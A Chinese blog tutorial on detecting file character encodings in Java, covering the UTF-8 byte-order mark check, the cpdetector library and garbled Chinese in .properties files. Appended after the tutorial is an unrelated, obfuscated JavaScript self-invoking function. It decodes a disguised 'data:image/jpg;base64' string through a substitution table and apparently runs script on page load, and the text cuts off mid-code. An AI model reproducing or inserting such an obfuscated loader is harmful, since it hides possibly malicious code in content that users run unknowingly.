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:简单判断是UTF-8或不是UTF-8,因为一般除了UTF-8之外就是GBK,所以就设置默认为GBK。
按照给定的字符集存储文件时,在文件的最开头的三个字节中就有可能存储着编码信息,所以,基本的原理就是只要读出文件前三个字节,判定这些字节的值,就可以得知其编码的格式。其实,如果项目运行的平台就是中文操作系统,如果这些文本文件在项目内产生,即开发人员可以控制文本的编码格式,只要判定两种常见的编码就可以了:GBK和UTF-8。由于中文Windows默认的编码是GBK,所以一般只要判定UTF-8编码格式。
对于UTF-8编码格式的文本文件,其前3个字节的值就是-17、-69、-65,所以,判定是否是UTF-8编码格式的代码片段如下:
[java] view plaincopy
File file = new File(path);
InputStream in= new java.io.FileInputStream(file);
byte[] b = new byte[3];
in.read(b);
in.close();
if (b[0] == -17 && b[1] == -69 && b[2] == -65)
System.out.println(file.getName() + ":编码为UTF-8");
else
System.out.println(file.getName() + ":可能是GBK,也可能是其他编码");
2:若想实现更复杂的文件编码检测,可以使用一个开源项目cpdetector,它所在的网址是:http://cpdetector.sourceforge.net/。它的类库很小,只有500K左右,cpDetector是基于统计学原理的,不保证完全正确,利用该类库判定文本文件的代码如下:
读外部文件(先利用cpdetector检测文件的编码格式,然后用检测到的编码方式去读文件):
[java] view plaincopy
/**
* 利用第三方开源包cpdetector获取文件编码格式
*
* @param path
* 要判断文件编码格式的源文件的路径
* @author huanglei
* @version 2012-7-12 14:05
*/
public static String getFileEncode(String path) {
/*
* detector是探测器,它把探测任务交给具体的探测实现类的实例完成。
* cpDetector内置了一些常用的探测实现类,这些探测实现类的实例可以通过add方法 加进来,如ParsingDetector、
* JChardetFacade、ASCIIDetector、UnicodeDetector。
* detector按照“谁最先返回非空的探测结果,就以该结果为准”的原则返回探测到的
* 字符集编码。使用需要用到三个第三方JAR包:antlr.jar、chardet.jar和cpdetector.jar
* cpDetector是基于统计学原理的,不保证完全正确。
*/
CodepageDetectorProxy detector = CodepageDetectorProxy.getInstance();
/*
* ParsingDetector可用于检查HTML、XML等文件或字符流的编码,构造方法中的参数用于
* 指示是否显示探测过程的详细信息,为false不显示。
*/
detector.add(new ParsingDetector(false));
/*
* JChardetFacade封装了由Mozilla组织提供的JChardet,它可以完成大多数文件的编码
* 测定。所以,一般有了这个探测器就可满足大多数项目的要求,如果你还不放心,可以
* 再多加几个探测器,比如下面的ASCIIDetector、UnicodeDetector等。
*/
detector.add(JChardetFacade.getInstance());// 用到antlr.jar、chardet.jar
// ASCIIDetector用于ASCII编码测定
detector.add(ASCIIDetector.getInstance());
// UnicodeDetector用于Unicode家族编码的测定
detector.add(UnicodeDetector.getInstance());
java.nio.charset.Charset charset = null;
File f = new File(path);
try {
charset = detector.detectCodepage(f.toURI().toURL());
} catch (Exception ex) {
ex.printStackTrace();
}
if (charset != null)
return charset.name();
else
return null;
}
[java] view plaincopy
String charsetName = getFileEncode(configFilePath);
System.out.println(charsetName);
inputStream = new FileInputStream(configFile);
BufferedReader in = new BufferedReader(new InputStreamReader(inputStream, charsetName));
读jar包内部资源文件(先利用cpdetector检测jar内部的资源文件的编码格式,然后以检测到的编码方式去读文件):
[java] view plaincopy
/**
* 利用第三方开源包cpdetector获取URL对应的文件编码
*
* @param path
* 要判断文件编码格式的源文件的URL
* @author huanglei
* @version 2012-7-12 14:05
*/
public static String getFileEncode(URL url) {
/*
* detector是探测器,它把探测任务交给具体的探测实现类的实例完成。
* cpDetector内置了一些常用的探测实现类,这些探测实现类的实例可以通过add方法 加进来,如ParsingDetector、
* JChardetFacade、ASCIIDetector、UnicodeDetector。
* detector按照“谁最先返回非空的探测结果,就以该结果为准”的原则返回探测到的
* 字符集编码。使用需要用到三个第三方JAR包:antlr.jar、chardet.jar和cpdetector.jar
* cpDetector是基于统计学原理的,不保证完全正确。
*/
CodepageDetectorProxy detector = CodepageDetectorProxy.getInstance();
/*
* ParsingDetector可用于检查HTML、XML等文件或字符流的编码,构造方法中的参数用于
* 指示是否显示探测过程的详细信息,为false不显示。
*/
detector.add(new ParsingDetector(false));
/*
* JChardetFacade封装了由Mozilla组织提供的JChardet,它可以完成大多数文件的编码
* 测定。所以,一般有了这个探测器就可满足大多数项目的要求,如果你还不放心,可以
* 再多加几个探测器,比如下面的ASCIIDetector、UnicodeDetector等。
*/
detector.add(JChardetFacade.getInstance());// 用到antlr.jar、chardet.jar
// ASCIIDetector用于ASCII编码测定
detector.add(ASCIIDetector.getInstance());
// UnicodeDetector用于Unicode家族编码的测定
detector.add(UnicodeDetector.getInstance());
java.nio.charset.Charset charset = null;
try {
charset = detector.detectCodepage(url);
} catch (Exception ex) {
ex.printStackTrace();
}
if (charset != null)
return charset.name();
else
return null;
}
[java] view plaincopy
URL url = CreateStationTreeModel.class.getResource("/resource/" + "配置文件");
URLConnection urlConnection = url.openConnection();
inputStream=urlConnection.getInputStream();
String charsetName = getFileEncode(url);
System.out.println(charsetName);
BufferedReader in = new BufferedReader(new InputStreamReader(inputStream, charsetName));
3:探测任意输入的文本流的编码,方法是调用其重载形式:
[java] view plaincopy
charset=detector.detectCodepage(待测的文本输入流,测量该流所需的读入字节数);
上面的字节数由程序员指定,字节数越多,判定越准确,当然时间也花得越长。要注意,字节数的指定不能超过文本流的最大长度。
4:判定文件编码的具体应用举例:
属性文件(.properties)是Java程序中的常用文本存储方式,象STRUTS框架就是利用属性文件存储程序中的字符串资源。它的内容如下所示:
#注释语句
属性名=属性值
读入属性文件的一般方法是:
[java] view plaincopy
FileInputStream ios=new FileInputStream(“属性文件名”);
Properties prop=new Properties();
prop.load(ios);
String value=prop.getProperty(“属性名”);
ios.close();
利用java.io.Properties的load方法读入属性文件虽然方便,但如果属性文件中有中文,在读入之后就会发现出现乱码现象。发生这个原因是load方法使用字节流读入文本,在读入后需要将字节流编码成为字符串,而它使用的编码是“iso-8859-1”,这个字符集是ASCII码字符集,不支持中文编码,
方法一:使用显式的转码:
[java] view plaincopy
String value=prop.getProperty(“属性名”);
String encValue=new String(value.getBytes(“iso-8859-1″),”属性文件的实际编码”);
方法二:象这种属性文件是项目内部的,我们可以控制属性文件的编码格式,比如约定采用Windows内定的GBK,就直接利用”gbk”来转码, 如果约定采用UTF-8,就使用”UTF-8″直接转码。
方法三:如果想灵活一些,做到自动探测编码,就可利用上面介绍的方法测定属性文件的编码,从而方便开发人员的工作
补充:可以用下面代码获得Java支持编码集合:
Charset.availableCharsets().keySet();
可以用下面的代码获得系统默认编码:
Charset.defaultCharset();
1、window——>preference2、General——>Workspace,右边【Textfileencoding】选择编码后,点击【OK】。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 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